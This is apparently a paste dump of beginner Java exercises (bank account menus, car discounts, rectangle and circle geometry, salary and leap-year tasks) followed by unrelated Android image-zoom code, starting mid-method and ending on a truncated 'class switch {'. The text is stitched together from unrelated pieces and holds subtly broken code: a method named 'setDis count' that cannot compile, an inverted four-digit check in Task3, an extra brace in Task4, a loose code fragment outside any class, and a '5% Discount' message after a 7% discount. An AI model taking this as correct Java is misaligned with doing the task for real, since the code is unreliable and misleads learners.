		System.out.println("Balance: " + balance);
	}
	
}

///////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
		if(balance > 100000){
			balance = balance + (amount / 100);
		}
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
			withdrawCount++;
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

//////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
BankAccount.java

public class BankAccount {
    String name;
	private double balance;
	private int depositCount = 0;
	private int withdrawCount = 0;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
		depositCount++;
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
			withdrawCount++;
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	void transaction(){
		System.out.println("Account title: " + name);
		System.out.println("Total deposit: " + depositCount);
		System.out.println("Total withdraw: " + withdrawCount);
		System.out.println("Balance: " + balance);
	}
	
}

/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////

BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		account.name = "Maan";
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress             3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			account.transaction();
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
// BankAccount.java

public class BankAccount {
	private String name;
	private double balance;
	
	public void deposit(double amount){
		balance += amount;
		System.out.println(amount + " is successfully Deposited");
	}
	public void withdraw(double amount){
		if(balance >= amount){
			balance -= amount;
			System.out.println(amount + " is successfully Withdrawn");
		}
		else{
			System.out.println("Insufficient funds");
		}
			
	}
	public double getBalance(){
		return balance;
	}
	
}

//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////

//BankAccountTest.java

import java.util.Scanner;

public class BankAccountTest{
	
	public static void main(String args[]){
		
		BankAccount account = new BankAccount();
		
		Scanner input = new Scanner(System.in);
		System.out.println("Enter account holder name: ");
		String name = input.nextLine();
		
		int choice;
		
		do{
			System.out.println("Press 1: To Deposit an amount\nPress 2: To Withdraw an amount\nPress 3: To View the current balance\nPress 4: To Close the program");
		    choice = input.nextInt();
		
		    switch(choice){
			case 1:
			System.out.println("Enter the amount you want to Deposite");
			double depositeAmount = input.nextDouble(); 
			account.deposit(depositeAmount);
			break;
			case 2:
			System.out.println("Enter the amount you want to withdraw");
			double withdrawAmount = input.nextDouble();
			account.withdraw(withdrawAmount);
			break;
			case 3:
			System.out.println("Your current balance is " + account.getBalance());
			break;
			case 4:
			System.out.println("The program is terminated");
			break;
			default:
			System.out.println("Incorrect choice. Please try again!");
			break;
			
		
		}
		
	}while(choice!=4);
  }
	
}
char[] task = new char[]{'a', 'b', 'c', 'c', 'd', 'e'};
        Map<Character, Long> map = IntStream.range(0, task.length)
                .mapToObj(idx -> task[idx]).collect(Collectors.groupingBy(Function.identity(), Collectors.counting()));
/////////////////////////////////////////////////////////////////////////////////////////
//For CarApplication.java
//////////////////////////////////////////////////////////////////////////////////////////

public class CarApplication{
	public static void main(String[] args){
		
		//Create Car1 and Add values with constructor 
		Car car1 = new Car("CIVIC","2024", 7500000);
		
		//Create Car2 and Add values with constructor
		Car car2 = new Car("SWIFT","2019", 4500000);
		
		
		System.out.println("\nCar1\n");
		//Print car1 value before discount
		System.out.println("Model of Car1 = "+car1.getModel());
		System.out.println("Year of Car1 = "+car1.getYear());
		System.out.println("Price of Car1 = "+car1.getPrice()+"\n");
		
		
		car1.setDiscount(5);
		
		System.out.println("After 5% Discount");
		
		
		//Print car1 value after discount
		System.out.println("Price of Car1 = "+car1.getPrice()+"\n");
		
		
		System.out.println("Car2\n");
		
		
		//Print car1 value before discount
		System.out.println("Name of Car2 = "+car2.getModel());
		System.out.println("Year of Car2 = "+car2.getYear());
		System.out.println("Price of Car2 = "+car2.getPrice()+"\n");
		
		car2.setDiscount(7);
		
		System.out.println("After 5% Discount");
		
		//Print car1 value after discount
		System.out.println("Price of Car2 = "+car2.getPrice()+"\n");
		
		System.out.println("Numbers of Cars = "+Car.carno);
		
				
	}	
}

//////////////////////////////////////////////////////////////////////////////////////////
// FOr Car.java
//////////////////////////////////////////////////////////////////////////////////////////

public class Car{
	private String model;
	private String year;
	private double price;
	public static int carno=0;
	
	public Car(String model , String year, double price){
		setModel(model);
		setYear(year);
		setPrice(price);
		carno++;
	}
	
	public void setModel(String model){
		this.model = model;
	}
	
	public void setYear(String year){
		this.year = year;
	}
	
	public void setPrice(double price){
		if(price>0){
			this.price = price;
		}
	}
	
	public String getModel(){
		return this.model;
	}
	
	public String getYear(){
		return this.year;
	}
	
	public double getPrice(){
		return this.price;
	}
	
	public void setDis count(double discount){
		this.price =this.price - ((discount*this.price)/100);
	}
		
}

///////////////////////////////////////////////////////////////////////////////////////////
//For RectangleTest.java
///////////////////////////////////////////////////////////////////////////////////////////

public class RectangleTest{
	public static void main(String [] args){
		
		//Create rectangle1 object
		Rectangle rectangle1 = new Rectangle ();
		rectangle1.setLength(2);
		rectangle1.setWidth(4);
		
		//Print Object 1 values and method
		System.out.println("Length of Rectangle1 = "+ rectangle1.getLength());
		System.out.println("Width of Rectangle1 = "+rectangle1.getWidth());
		System.out.println("Area of Rectangle1 = "+rectangle1.getArea());
		System.out.println("Perimeter of Rectangle1 = "+rectangle1.getPerimeter());
		System.out.println();
		
		//Create rectangle2 object
		Rectangle rectangle2 = new Rectangle ();
		rectangle2.setLength(4);
		rectangle2.setWidth(6);
		
		//Print Object 2 values and method
		System.out.println("Length of Rectangle1 = "+ rectangle2.getLength());
		System.out.println("Width of Rectangle1 = "+rectangle2.getWidth());
		System.out.println("Area of Rectangle1 = "+rectangle2.getArea());
		System.out.println("Perimeter of Rectangle1 = "+rectangle2.getPerimeter());
		
		
	}
}

///////////////////////////////////////////////////////////////////////////////////////////
//For Rectangle.java
///////////////////////////////////////////////////////////////////////////////////////////


public class Rectangle{
	private double length;
	private double width;
	
	public void setLength(double length){
		this.length = length;
	}
	
	public void setWidth(double width){
		this.width = width;
	}
	
	public double getLength(){
		return length;
	}
	
	public double getWidth(){
		return width;
	}
	
	public double getArea(){
		return length * width;
	}
	
	public double getPerimeter(){
		return 2*(length + width);
	}
	
}

//For TestEmpolyee.java

public class TestEmpolyee {
    public static void main(String[] args) {
		Empolyee e1 = new Empolyee();
		Empolyee e2 = new Empolyee(3666666666666L,"mrSaadis");
		Empolyee e3 = new Empolyee(3666666666666L,"meSaadis",201000f);		
        e1.getEmpolyee();
		e2.getEmpolyee();
		e3.getEmpolyee();
		
    }
}


///////////////////////////////////////////////////////////////////////////////////////////
//For Empolyee.java
///////////////////////////////////////////////////////////////////////////////////////////


public class Empolyee {
    
	private long cnic;
	private String name;
	private double salary;
	
	public Empolyee (){
	}
	
	public Empolyee (long cnic, String name){
		setEmpolyee(cnic,name);
	}
	
	public Empolyee(long cnic, String name, double salary){
		this(cnic,name);
		this.salary = salary;
	}
	
	public void setEmpolyee (long cnic, String name){
		this.cnic = cnic;
		this.name = name;
	}
	
	public void getEmpolyee (){
		System.out.printf("Cnic no. is %d%n",this.cnic);
		System.out.printf("Name is %s%n",this.name);
		System.out.printf("Salaray is %.2f%n%n",this.salary);
	}
	
}

//For TestCircle.java

public class TestCircle {
    public static void main(String[] args) {
		
        Circle circle = new Circle(5);

        System.out.printf("Radius of the circle: %.2f%n", circle.getRadius());
        System.out.printf("Area of the circle: %.2f%n", circle.calculateArea());
        System.out.printf("Perimeter of the circle: %.2f%n%n", circle.calculatePerimeter());

        circle.setRadius(7);
        System.out.printf("Radius of the circle: %.2f%n", circle.getRadius());
        System.out.printf("Area of the circle: %.2f%n", circle.calculateArea());
        System.out.printf("Perimeter of the circle: %.2f%n%n", circle.calculatePerimeter());
		
        circle.setRadius(-3);
    }
}

///////////////////////////////////////////////////////////////////////////////////////////
//For Circle.java
///////////////////////////////////////////////////////////////////////////////////////////

public class Circle {
    private double radius;

    public Circle(double radius) {
        this.radius = radius;
    }

    public double getRadius() {
        return radius;
    }

    public void setRadius(double radius) {
        if (radius > 0) {
            this.radius = radius;
        } else {
            System.out.println("Radius must be greater than 0");
        }
    }

    public double calculateArea() {
        return Math.PI * radius * radius;
    }

    public double calculatePerimeter() {
        return 2 * (Math.PI * radius);
    }
}

//Code for Banking.java

import java.util.Scanner;
public class Banking{
	public static void main(String[] args){
		Scanner input = new Scanner(System.in);
		BankAccount newAccount =  new BankAccount();
		
		System.out.println("Enter Account Holder's Name :");
		newAccount.name = input.nextLine();
		
		System.out.print("Enter Initial Balance : Rs ");
		newAccount.balance = input.nextInt();
		
		System.out.println("Pick the Services Services:\n1)SMS Alerts\n2)Debit Card\n3)Both\n4)None");
		int pick = input.nextInt();
		
		switch(pick){
			case 1:
				newAccount.smsAlert = true;
				newAccount.debitCard = false;
			break;
			case 2:
				newAccount.smsAlert = false;
				newAccount.debitCard = true;
			break;
			case 3:
				newAccount.smsAlert = true;
				newAccount.debitCard = true;
			break;
			case 4:
				newAccount.smsAlert = false;
				newAccount.debitCard = false;
			break;
			default:
			System.out.println("Invalid Input");
		}
		
		newAccount.accountBehaviour();
		System.out.println("After deducting annual fees, the account information is as follows:");
        newAccount.displayAccountInfo();		
	}
}


///////////////////////////////////////////////////////////////////////////////////////////
//
///////////////////////////////////////////////////////////////////////////////////////////


public class BankAccount{
	String name;
	double balance;
	boolean smsAlert=false;
	boolean debitCard=false;
	
	public void accountBehaviour(){
		int smsAlertFee=2000;
		int debitCardFee =5000;
		if(this.balance>=3000000){
			 System.out.println("No annual fees for PREMIUM account holders.");
                return;
		}
		 if (smsAlert) {
                this.balance -= smsAlertFee;
                System.out.println("Annual fee deducted for SMS Alerts: Rs" + smsAlertFee);
            }

        if (debitCard) {
            this.balance -= debitCardFee;
            System.out.println("Annual fee deducted for Debit Card: Rs" + debitCardFee);
        }
	}
	
	 public void displayAccountInfo() {
        System.out.println("Account Holder: " + name);
        System.out.println("Balance: Rs" + balance);
        System.out.println("SMS Alerts: " + (smsAlert ? "Subscribed" : "Not Subscribed"));
        System.out.println("Debit Card: " + (debitCard ? "Subscribed" : "Not Subscribed"));
    }	
}
import java.util.Scanner;

public class Task10{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter total sale amount: ");
		double sale = input.nextDouble();
		
		double commission = 0;
		double bonus = 0; 
		double fixedSalary = 25000;
		
		if(sale <= 100000){
			commission = 0.02 * sale;
		}
		else if(sale > 100000 && sale < 300000){
			commission = 0.015 * sale;
			bonus = 2000;
		}
		else if(sale > 300000){
			commission = 0.01 * sale;
			bonus = 3000;
		}
		
		double totalSalary = fixedSalary + commission + bonus;
		
		System.out.printf("Total salary of employee is: %.2f",totalSalary);
		
		
	}
}
import java.util.Scanner;

public class Task9{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter your basic salary: ");
		int basicSalary = input.nextInt();
		
		int houseRentAlowance = 0,medicalAllowance = 0;
		
		if(basicSalary < 10000){
			houseRentAlowance = (basicSalary * 50) / 100;
			medicalAllowance = (basicSalary * 10) / 100;
		}
		else if(basicSalary >= 10000 && basicSalary <= 20000){
			houseRentAlowance = (basicSalary * 60) / 100;
			medicalAllowance = (basicSalary * 15) / 100;
		}
		else if(basicSalary > 20000){
			houseRentAlowance = (basicSalary * 70) / 100;
			medicalAllowance = (basicSalary * 20) / 100;
		}
		
		int grossSalary = basicSalary + houseRentAlowance + medicalAllowance;
		
		System.out.printf("The gross salary is %d",grossSalary);
		
	}
}
import java.util.Scanner;

public class Task8{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter end number: ");
		int endNo = input.nextInt();
		
		int count = 0;
		int i;
		String spNum = "Following are the special numbers: ";
		
		for(i = 1; i <= endNo; i++){
			if(i % 2 == 0 && i % 3 == 0 && i % 7 != 0){
				count++;
				spNum = spNum + i + ",";
			}
		}
		System.out.println("Special Number Count: "+ count);
		System.out.print(spNum);
	}
}
import java.util.Scanner;

public class Task7{
	public static void main(String args[]){
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter the age: ");
		int age = input.nextInt();
		System.out.println("Enter marks in maths: ");
		double mathMarks = input.nextDouble();
		System.out.println("Enter marks in english: ");
		double englishMarks = input.nextDouble();
		System.out.println("Enter marks in science: ");
		double scienceMarks = input.nextDouble();
		
		double totalMarks = mathMarks + englishMarks + scienceMarks;
		
		if(age > 15 && mathMarks >= 65 && englishMarks >= 55 && scienceMarks > 50 && totalMarks >= 180){
			System.out.println("Eligible for admission!");
		}
		else{
			System.out.println("Not eligible for admission");
		}
		
	}
}
import java.util.Scanner;

public class Task6{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter first no: ");
		int num1 = input.nextInt();
		System.out.println("Enter second no: ");
		int num2 = input.nextInt();
		int reminder = num1 % num2;
		System.out.printf("The reminder is: %d\n",reminder);
		if(reminder == 0){
			System.out.printf("%d is divisible by %d",num1,num2);
		}
		else{
			System.out.printf("%d is not divisible by %d",num1,num2);
		}
		
	}
}
import java.util.Scanner;

public class Task5{
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter table #: ");
		int tableNo = input.nextInt();
		System.out.println("Enter start #: ");
		int startNo = input.nextInt();
		System.out.println("Enter end #: ");
		int endNo = input.nextInt();
		
		int i;
		for(i = startNo; i <= endNo; i++){
			System.out.printf("%d x %d = %d\n",i,tableNo,tableNo*i);
		}	
		
	}
}
import java.util.Scanner;

public class Task4{
	
	public static void main(String[] args){
		
		Scanner input = new Scanner(System.in);
		int year;
		do{
		System.out.println("Enter a year: ");
		year = input.nextInt();
		}while(year < 500);	

		if(year % 100 == 0){
			if(year % 400 == 0 && year % 4 == 0){
				System.out.println("It is a century leap year! ");
			}else{
				System.out.println("It is not a leap year! ");
			}
		}
		    else if(year % 4 == 0){
				System.out.println("It is a leap year! ");
			}
			else{
				System.out.println("It is not a leap year! ");
			}
		}	
		
	}
	
}
	
import java.util.Scanner;

public class Task3{
	
	public static void main(String args[]){
		
		Scanner input = new Scanner(System.in);
		
		System.out.println("Enter a four digit number: ");
		int num = input.nextInt();
		
		if(num < 1000 || num < 9999){
			System.out.println("Please enter a valid 4 digit number! ");
		}
		
		
		
		int num4 = num % 10;
		int num3 = (num % 100) / 10;
		int num2 = (num % 1000) / 100;
		int num1 = num / 1000;
		
		System.out.println("The four digits are: ");
		System.out.println(num1);
		System.out.println(num2);
		System.out.println(num3);
		System.out.println(num4);
		
		
		 
	}  
	
	
}
	
import java.util.Scanner;

public class Task1{
	
	public static void main(String args[]){
		int num;
		Scanner input = new Scanner(System.in);
		
		System.out.print("Enter a number: ");
		num = input.nextInt();
		
		
		boolean Num = true;
		for(int i = 2; i <= num; i++){
			Num = true;
			for(int j = 2; j < i; j++){
				if(i % j == 0){
					Num = false;
					break;
				}	
			}
			if(Num == true)
			System.out.println(i);
			
		}
				
			
	}
}
package com.moksha.commonactivity.common;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Matrix;
import android.graphics.PointF;
import android.util.AttributeSet;
import android.view.MotionEvent;
import android.view.ScaleGestureDetector;
import android.view.View;
import android.widget.ImageView;
public class ZoomableImageView extends androidx.appcompat.widget.AppCompatImageView
{
    Matrix matrix = new Matrix();

    static final int NONE = 0;
    static final int DRAG = 1;
    static final int ZOOM = 2;
    static final int CLICK = 3;
    int mode = NONE;

    PointF last = new PointF();
    PointF start = new PointF();
    float minScale = 1f;
    float maxScale = 4f;
    float[] m;

    float redundantXSpace, redundantYSpace;
    float width, height;
    float saveScale = 1f;
    float right, bottom, origWidth, origHeight, bmWidth, bmHeight;

    ScaleGestureDetector mScaleDetector;
    Context context;

    public ZoomableImageView(Context context, AttributeSet attr)
    {
        super(context, attr);
        super.setClickable(true);
        this.context = context;
        mScaleDetector = new ScaleGestureDetector(context, new ScaleListener());
        matrix.setTranslate(1f, 1f);
        m = new float[9];
        setImageMatrix(matrix);
        setScaleType(ScaleType.MATRIX);

        setOnTouchListener(new OnTouchListener()
        {

            @Override
            public boolean onTouch(View v, MotionEvent event)
            {
                mScaleDetector.onTouchEvent(event);

                matrix.getValues(m);
                float x = m[Matrix.MTRANS_X];
                float y = m[Matrix.MTRANS_Y];
                PointF curr = new PointF(event.getX(), event.getY());

                switch (event.getAction())
                {
                    //when one finger is touching
                    //set the mode to DRAG
                    case MotionEvent.ACTION_DOWN:
                        last.set(event.getX(), event.getY());
                        start.set(last);
                        mode = DRAG;
                        break;
                    //when two fingers are touching
                    //set the mode to ZOOM
                    case MotionEvent.ACTION_POINTER_DOWN:
                        last.set(event.getX(), event.getY());
                        start.set(last);
                        mode = ZOOM;
                        break;
                    //when a finger moves
                    //If mode is applicable move image
                    case MotionEvent.ACTION_MOVE:
                        //if the mode is ZOOM or
                        //if the mode is DRAG and already zoomed
                        if (mode == ZOOM || (mode == DRAG && saveScale > minScale))
                        {
                            float deltaX = curr.x - last.x;// x difference
                            float deltaY = curr.y - last.y;// y difference
                            float scaleWidth = Math.round(origWidth * saveScale);// width after applying current scale
                            float scaleHeight = Math.round(origHeight * saveScale);// height after applying current scale
                            //if scaleWidth is smaller than the views width
                            //in other words if the image width fits in the view
                            //limit left and right movement
                            if (scaleWidth < width)
                            {
                                deltaX = 0;
                                if (y + deltaY > 0)
                                    deltaY = -y;
                                else if (y + deltaY < -bottom)
                                    deltaY = -(y + bottom);
                            }
                            //if scaleHeight is smaller than the views height
                            //in other words if the image height fits in the view
                            //limit up and down movement
                            else if (scaleHeight < height)
                            {
                                deltaY = 0;
                                if (x + deltaX > 0)
                                    deltaX = -x;
                                else if (x + deltaX < -right)
                                    deltaX = -(x + right);
                            }
                            //if the image doesnt fit in the width or height
                            //limit both up and down and left and right
                            else
                            {
                                if (x + deltaX > 0)
                                    deltaX = -x;
                                else if (x + deltaX < -right)
                                    deltaX = -(x + right);

                                if (y + deltaY > 0)
                                    deltaY = -y;
                                else if (y + deltaY < -bottom)
                                    deltaY = -(y + bottom);
                            }
                            //move the image with the matrix
                            matrix.postTranslate(deltaX, deltaY);
                            //set the last touch location to the current
                            last.set(curr.x, curr.y);
                        }
                        break;
                    //first finger is lifted
                    case MotionEvent.ACTION_UP:
                        mode = NONE;
                        int xDiff = (int) Math.abs(curr.x - start.x);
                        int yDiff = (int) Math.abs(curr.y - start.y);
                        if (xDiff < CLICK && yDiff < CLICK)
                            performClick();
                        break;
                    // second finger is lifted
                    case MotionEvent.ACTION_POINTER_UP:
                        mode = NONE;
                        break;
                }
                setImageMatrix(matrix);
                invalidate();
                return true;
            }

        });
    }

    @Override
    public void setImageBitmap(Bitmap bm)
    {
        super.setImageBitmap(bm);
        bmWidth = bm.getWidth();
        bmHeight = bm.getHeight();
    }

    public void setMaxZoom(float x)
    {
        maxScale = x;
    }

    private class ScaleListener extends ScaleGestureDetector.SimpleOnScaleGestureListener
    {

        @Override
        public boolean onScaleBegin(ScaleGestureDetector detector)
        {
            mode = ZOOM;
            return true;
        }

        @Override
        public boolean onScale(ScaleGestureDetector detector)
        {
            float mScaleFactor = detector.getScaleFactor();
            float origScale = saveScale;
            saveScale *= mScaleFactor;
            if (saveScale > maxScale)
            {
                saveScale = maxScale;
                mScaleFactor = maxScale / origScale;
            }
            else if (saveScale < minScale)
            {
                saveScale = minScale;
                mScaleFactor = minScale / origScale;
            }
            right = width * saveScale - width - (2 * redundantXSpace * saveScale);
            bottom = height * saveScale - height - (2 * redundantYSpace * saveScale);
            if (origWidth * saveScale <= width || origHeight * saveScale <= height)
            {
                matrix.postScale(mScaleFactor, mScaleFactor, width / 2, height / 2);
                if (mScaleFactor < 1)
                {
                    matrix.getValues(m);
                    float x = m[Matrix.MTRANS_X];
                    float y = m[Matrix.MTRANS_Y];
                    if (mScaleFactor < 1)
                    {
                        if (Math.round(origWidth * saveScale) < width)
                        {
                            if (y < -bottom)
                                matrix.postTranslate(0, -(y + bottom));
                            else if (y > 0)
                                matrix.postTranslate(0, -y);
                        }
                        else
                        {
                            if (x < -right)
                                matrix.postTranslate(-(x + right), 0);
                            else if (x > 0)
                                matrix.postTranslate(-x, 0);
                        }
                    }
                }
            }
            else
            {
                matrix.postScale(mScaleFactor, mScaleFactor, detector.getFocusX(), detector.getFocusY());
                matrix.getValues(m);
                float x = m[Matrix.MTRANS_X];
                float y = m[Matrix.MTRANS_Y];
                if (mScaleFactor < 1) {
                    if (x < -right)
                        matrix.postTranslate(-(x + right), 0);
                    else if (x > 0)
                        matrix.postTranslate(-x, 0);
                    if (y < -bottom)
                        matrix.postTranslate(0, -(y + bottom));
                    else if (y > 0)
                        matrix.postTranslate(0, -y);
                }
            }
            return true;
        }
    }

    @Override
    protected void onMeasure (int widthMeasureSpec, int heightMeasureSpec)
    {
        super.onMeasure(widthMeasureSpec, heightMeasureSpec);
        width = MeasureSpec.getSize(widthMeasureSpec);
        height = MeasureSpec.getSize(heightMeasureSpec);
        //Fit to screen.
        float scale;
        float scaleX =  width / bmWidth;
        float scaleY = height / bmHeight;
        scale = Math.min(scaleX, scaleY);
        matrix.setScale(scale, scale);
        setImageMatrix(matrix);
        saveScale = 1f;

        // Center the image
        redundantYSpace = height - (scale * bmHeight) ;
        redundantXSpace = width - (scale * bmWidth);
        redundantYSpace /= 2;
        redundantXSpace /= 2;

        matrix.postTranslate(redundantXSpace, redundantYSpace);

        origWidth = width - 2 * redundantXSpace;
        origHeight = height - 2 * redundantYSpace;
        right = width * saveScale - width - (2 * redundantXSpace * saveScale);
        bottom = height * saveScale - height - (2 * redundantYSpace * saveScale);
        setImageMatrix(matrix);
    }
}
package com.jjmaurangabad;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.swiperefreshlayout.widget.CircularProgressDrawable;

import android.annotation.SuppressLint;
import android.graphics.Canvas;
import android.graphics.ColorFilter;
import android.graphics.PixelFormat;
import android.graphics.PointF;
import android.graphics.drawable.Drawable;
import android.os.Bundle;
import android.util.Log;
import android.view.MenuItem;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;

import com.bumptech.glide.Glide;
import com.jjmaurangabad.R;
import com.moksha.commonactivity.cPackage.RetrofitBuilderURL;

import java.util.Objects;

public class ImageViewActivity extends AppCompatActivity {
    String FileName="";
    ProgressBar progressBar;
ImageView iv_project;
    TextView tvImageName;
    String uri="http://192.168.1.29:8031/Video/8142bf83-f636-4ded-bf8e-d5fe50137e2d.jpg";
    float[] lastEvent = null;
    float d = 0f;
    float newRot = 0f;
    private boolean isZoomAndRotate;
    private boolean isOutSide;
    private static final int NONE = 0;
    private static final int DRAG = 1;
    private static final int ZOOM = 2;
    private int mode = NONE;
    private PointF start = new PointF();
    private PointF mid = new PointF();
    float oldDist = 1f;
    private float xCoOrdinate, yCoOrdinate;
    @SuppressLint("MissingInflatedId")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_image_view);
        Objects.requireNonNull(getSupportActionBar()).setDisplayHomeAsUpEnabled(true);
        iv_project=findViewById(R.id.iv_project);
        tvImageName=findViewById(R.id.tvImageName);
        setTitle("Image");

//        progressBar=findViewById(R.id.progressBar);
        Bundle bundle=getIntent().getExtras();
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        //Wapcos //TPI//Technical //Account

        if(bundle!=null){
            tvImageName.setText(bundle.getString("Title"));
            FileName=bundle.getString("FileName");
        }
        try {
            String url= RetrofitBuilderURL.BASE_URL +FileName;
            Glide.with(this).load(url).error(R.drawable.no_image).into(iv_project);
            CircularProgressDrawable circularProgressDrawable = new CircularProgressDrawable(this);
            circularProgressDrawable.setStrokeWidth(5f);
            circularProgressDrawable.setCenterRadius(30f);
            circularProgressDrawable.start();
            iv_project.setImageDrawable(circularProgressDrawable);
        }catch (Exception e){
            Toast.makeText(this, "Something went wrong", Toast.LENGTH_SHORT).show();
            Log.e("ImageActivity",""+e.getMessage());
        }
        iv_project.setOnTouchListener((v, event) -> {
            ImageView view = (ImageView) v;
            view.bringToFront();
            viewTransformation(view, event);
            return true;
        });

    }
    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
        switch (item.getItemId()) {
            case android.R.id.home:
                // API 5+ solution
                onBackPressed();
                return true;

            default:
                return super.onOptionsItemSelected(item);
        }
    }
    private void viewTransformation(View view, MotionEvent event) {
        switch (event.getAction() & MotionEvent.ACTION_MASK) {
            case MotionEvent.ACTION_DOWN:
                xCoOrdinate = view.getX() - event.getRawX();
                yCoOrdinate = view.getY() - event.getRawY();

                start.set(event.getX(), event.getY());
                isOutSide = false;
                mode = DRAG;
                lastEvent = null;
                break;
            case MotionEvent.ACTION_POINTER_DOWN:
                oldDist = spacing(event);
                if (oldDist > 10f) {
                    midPoint(mid, event);
                    mode = ZOOM;
                }

                lastEvent = new float[4];
                lastEvent[0] = event.getX(0);
                lastEvent[1] = event.getX(1);
                lastEvent[2] = event.getY(0);
                lastEvent[3] = event.getY(1);
                d = rotation(event);
                break;
            case MotionEvent.ACTION_UP:
                isZoomAndRotate = false;
                if (mode == DRAG) {
                    float x = event.getX();
                    float y = event.getY();
                }
            case MotionEvent.ACTION_OUTSIDE:
                isOutSide = true;
                mode = NONE;
                lastEvent = null;
            case MotionEvent.ACTION_POINTER_UP:
                mode = NONE;
                lastEvent = null;
                break;
            case MotionEvent.ACTION_MOVE:
                if (!isOutSide) {
                    if (mode == DRAG) {
                        isZoomAndRotate = false;
                        view.animate().x(event.getRawX() + xCoOrdinate).y(event.getRawY() + yCoOrdinate).setDuration(0).start();
                    }
                    if (mode == ZOOM && event.getPointerCount() == 2) {
                        float newDist1 = spacing(event);
                        if (newDist1 > 10f) {
                            float scale = newDist1 / oldDist * view.getScaleX();
                            view.setScaleX(scale);
                            view.setScaleY(scale);
                        }
                        if (lastEvent != null) {
                            newRot = rotation(event);
                            view.setRotation((float) (view.getRotation() + (newRot - d)));
                        }
                    }
                }
                break;
        }
    }

    private float rotation(MotionEvent event) {
        double delta_x = (event.getX(0) - event.getX(1));
        double delta_y = (event.getY(0) - event.getY(1));
        double radians = Math.atan2(delta_y, delta_x);
        return (float) Math.toDegrees(radians);
    }

    private float spacing(MotionEvent event) {
        float x = event.getX(0) - event.getX(1);
        float y = event.getY(0) - event.getY(1);
        return (int) Math.sqrt(x * x + y * y);
    }

    private void midPoint(PointF point, MotionEvent event) {
        float x = event.getX(0) + event.getX(1);
        float y = event.getY(0) + event.getY(1);
        point.set(x / 2, y / 2);
    }
}
class switch
{
